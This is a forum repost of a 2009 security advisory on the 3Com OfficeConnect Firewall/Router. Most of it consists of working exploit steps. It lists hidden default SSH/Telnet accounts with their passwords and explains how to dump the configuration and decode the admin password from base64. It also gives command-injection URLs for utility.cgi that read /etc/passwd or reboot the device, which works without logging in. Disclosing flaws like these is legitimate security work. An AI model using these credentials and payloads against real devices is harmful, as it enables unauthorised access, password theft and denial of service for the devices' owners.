Government Security
Network Security Resources

Jump to content

Photo

3Com Officeconnect Firewall/router Multiple Remote Vulnerabilities

router cgi firewall ssh disclosure
  • Please log in to reply
No replies to this topic

#1 qcred11

qcred11

    First Sergeant

  • Members
  • 2,544 posts

Posted 09 November 2009 - 11:53 PM


************************************************************** 

Product: 3Com OfficeConnect Firewall/Router 

Website: http://www.3com.com/ 

Discovered By: Andrea Fabrizi 

Email: andrea.fabrizi@gmail.com 

Web: http://www.andreafabrizi.it 

Vuln: remote command execution and password disclosure 

************************************************************** 



####### Admin password disclosure ####### 



1) SSH/Telnet to router using one of these hidden accounts: 

  support:support 

  user:5 

  nobody:admin 

2) Type 9 

3) Type 1 

3) Type 3 to dump the configuration 

4) Locate the sysPassword field: 

   <sysPassword value="cXdlcnR5Cg=="/> 

5) Decode the admin password: 

  roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d 

  qwerty 





####### Remote command execution  ####### 



http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd 



To see the command output you need to log into the router, however the 

command is executed even the user is not logged in, so if you don't 

have access to the device a DOS is also possible: 



http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot









Also tagged with one or more of these keywords: router, cgi, firewall, ssh, disclosure